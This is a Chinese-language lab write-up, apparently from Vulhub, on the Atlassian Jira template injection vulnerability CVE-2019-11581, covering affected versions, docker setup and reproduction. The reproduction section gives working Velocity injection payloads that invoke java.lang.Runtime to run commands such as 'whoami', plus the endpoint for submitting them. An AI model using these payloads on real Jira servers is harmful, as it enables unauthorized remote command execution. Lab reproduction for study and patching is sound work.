Atlassian Jira 模板注入漏洞(CVE-2019-11581)
Path jira/CVE-2019-11581
Atlassian Jira是企業廣泛使用的項目與事務跟蹤工具,被廣泛應用于缺陷跟蹤、客戶服務、需求收集、流程審批、任務跟蹤、項目跟蹤和敏捷管理等工作領域。 多個版本前存在利用模板注入執行任意命令:
- 4.4.x
- 5.x.x
- 6.x.x
- 7.0.x
- 7.1.x
- 7.2.x
- 7.3.x
- 7.4.x
- 7.5.x
- 7.6.x before 7.6.14 (the fixed version for 7.6.x)
- 7.7.x
- 7.8.x
- 7.9.x
- 7.10.x
- 7.11.x
- 7.12.x
- 7.13.x before 7.13.5 (the fixed version for 7.13.x)
- 8.0.x before 8.0.3 (the fixed version for 8.0.x)
- 8.1.x before 8.1.2 (the fixed version for 8.1.x)
- 8.2.x before 8.2.3 (the fixed version for 8.2.x)
參考資料:
- https://confluence.atlassian.com/jira/jira-security-advisory-2019-07-10-973486595.html
- https://jira.atlassian.com/browse/JRASERVER-69532
- https://mp.weixin.qq.com/s/d2yvSyRZXpZrPcAkMqArsw
環境搭建
執行如下命令啟動一個Jira Server 8.1.0:
docker-compose up -d
環境啟動后,訪問http://your-ip:8080會進入安裝引導,切換“中文”,VPS條件下選擇“將其設置為我”(第一項)去Atlassian官方申請一個Jira Server的測試證書(不要選擇Data Center和Addons):
然后繼續安裝即可。這一步小內存VPS可能安裝失敗或時間較長(建議使用4G內存以上的機器進行安裝與測試),請耐心等待。

添加 SMTP 電郵服務器 /secure/admin/AddSmtpMailServer!default.jspa

進入系統設置 /secure/admin/ViewApplicationProperties.jspa ,開啟“聯系管理員表單”

貌似還要有項目才能玩,所以隨便創建一個示例就行了,然后你就可以愉快的玩耍了
漏洞復現
PoC 和 CVE-2019-3396 一樣
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('calc').toString()
Linux 沒有 calc, 所以
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('whoami').toString()
運行 poc.py
或者
進入 /secure/ContactAdministrators!default.jspa 直接提交 PoC


如果沒看到 smtpd 有數據,那么就可能卡隊列了
電郵隊列瞅一瞅 /secure/admin/MailQueueAdmin!default.jspa

Vulhub 文檔